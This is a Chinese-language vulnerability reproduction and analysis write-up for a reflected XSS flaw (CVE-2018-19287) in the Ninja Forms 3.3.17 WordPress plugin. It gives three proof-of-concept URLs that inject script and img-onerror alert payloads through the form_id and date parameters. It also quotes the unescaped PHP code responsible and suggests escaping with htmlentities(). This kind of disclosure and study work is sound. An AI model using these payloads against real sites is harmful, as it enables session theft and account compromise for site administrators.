WordPress Plugin Ninja Forms 3.3.17 XSS復現與分析
前言
Ninja Forms是WordPress的終極免費表單建立工具。使用簡單但功能強大的拖放式表單建立器在幾分鐘內構建表單。對於初學者,可以快速輕鬆地設計複雜的表單,絕對沒有程式碼。對於開發人員,利用內建的鉤子,過濾器,甚至自定義欄位模板,使用Ninja Forms作為框架,在表單構建或提交的任何步驟中執行您需要的任何操作。
Ninja Forms 3.3.17被爆出存在XSS漏洞(CVE-2018-19287)後,官方還是很給力的釋出了3.3.18版本。
漏洞復現
環境搭建過程
環境:windows10 x64、phpstudy2016、火狐瀏覽器、wordpress4.4、Ninja Forms 3.3.17。
Ninja Forms作為wordpress的外掛,我們得先安裝一下wordpress。
安裝過程這裡就不多說了,不會的小夥伴,可以參考下面的連結。
ofollow,noindex" target="_blank">https://jingyan.baidu.com/article/a3a3f811c525038da3eb8a49.html
下圖是安裝成功,程式首頁的圖:
然後安裝外掛Ninja Forms 3.3.17,由於它最新版本是3.3.18,所以不能在後臺直接安裝Ninja Forms,下載下來的是3.3.18的。
我們可以通過本地安裝外掛的方式進行,下面是Ninja Forms 3.3.17下載地址:
https://downloads.wordpress.org/plugin/ninja-forms.3.3.17.zip
下載完成後,複製壓縮包內的ninja forms目錄到wordpress程式的安裝目錄下的/wp-content/pluginsss目錄下。如下圖所示:
完成上一步之後,我們還需要進入後臺去啟用這個外掛。如下圖所示:
經過重新登入和重新整理之後。後臺頁面多了一個Ninja Forms,如下圖所示:
到這裡就結束了環境搭建的過程了。
復現過程
下面是我從exploit-db上覆制的POC,為了方便判斷,修改了彈窗的內容。
POC1: http://127.0.0.1/wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date&end_date="><img+src=mtk+onerror=alert(/POC1/);//&filter_action=Filter&paged=1&action2=-1
POC2: http://127.0.0.1/wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src=mtk+onerror=alert(/POC2/);//&end_date&filter_action=Filter&paged=1&action2=-1
POC3: http://127.0.0.1/wp-admin/edit.php?post_status=trash&post_type=nf_sub&form_id=1"><script>alert(/POC3/);</script>&nf_form_filter&paged=1
我們只要直接複製POC到瀏覽器的位址列回車即可觸發漏洞。
下圖是觸發第一個POC的圖:
下圖是觸發第二個POC的圖:
下圖是觸發第三個POC的圖:
到這裡,復現的過程也結束了。
下面,我們就進入漏洞分析的過程。
漏洞分析過程
筆者直接從POC方面入手,簡單分析一下漏洞的成因。由於方法是一樣的,筆者是一個懶人,這裡就只分析了POC3的成因。
通過POC查詢關鍵詞nf_sub,確定了核心檔案\wp-content\plugins\ninja-forms\includes\Admin\Menus\Submissions.php。
下圖是Submissions.php部分內容:
通過粗略的閱讀,發現這個函式是導致POC3成功彈窗的關鍵。
下圖是Submissions.php檔案第71-104行內容:
public function change_views( $views ) { // Remove our unused views. unset( $views[ 'mine' ] ); unset( $views[ 'publish' ] ); // If the Form ID is not empty... if( ! empty( $_GET[ 'form_id' ] ) ) { // ...populate the rest of the query string. $form_id = '&form_id=' . $_GET[ 'form_id' ] . '&nf_form_filter&paged=1'; } else { // ...otherwise send in an empty string. $form_id = ''; } // Build our new views. $views[ 'all' ] = '<a href="' . admin_url( 'edit.php?post_status=all&post_type=nf_sub') . $form_id . '">' . __( 'Completed', 'ninja-forms' ) . '</a>'; $views[ 'trash' ] = '<a href="' . admin_url( 'edit.php?post_status=trash&post_type=nf_sub' ) . $form_id . '">' . __( 'Trashed', 'ninja-forms' ) . '</a>'; // Checks to make sure we have a post status. if( ! empty( $_GET[ 'post_status' ] ) ) { // Depending on the domain set the value to plain text. if ( 'all' == $_GET[ 'post_status' ] ) { $views[ 'all' ] = __( 'Completed', 'ninja-forms' ); } else if ( 'trash' == $_GET[ 'post_status' ] ) { $views[ 'trash' ] = __( 'Trashed', 'ninja-forms' ); } } return $views; }
從上面程式碼,我們可以看到,form_id並沒有被過濾,導致XSS存在。
$form_id = '&form_id=' . $_GET[ 'form_id' ] . '&nf_form_filter&paged=1';
修復建議
1、利用htmlentities()等函式轉義html實體。
$form_id = '&form_id=' . htmlentities($_GET[ 'form_id' ]) . '&nf_form_filter&paged=1';
再次訪問POC3地址,無法觸發XSS漏洞。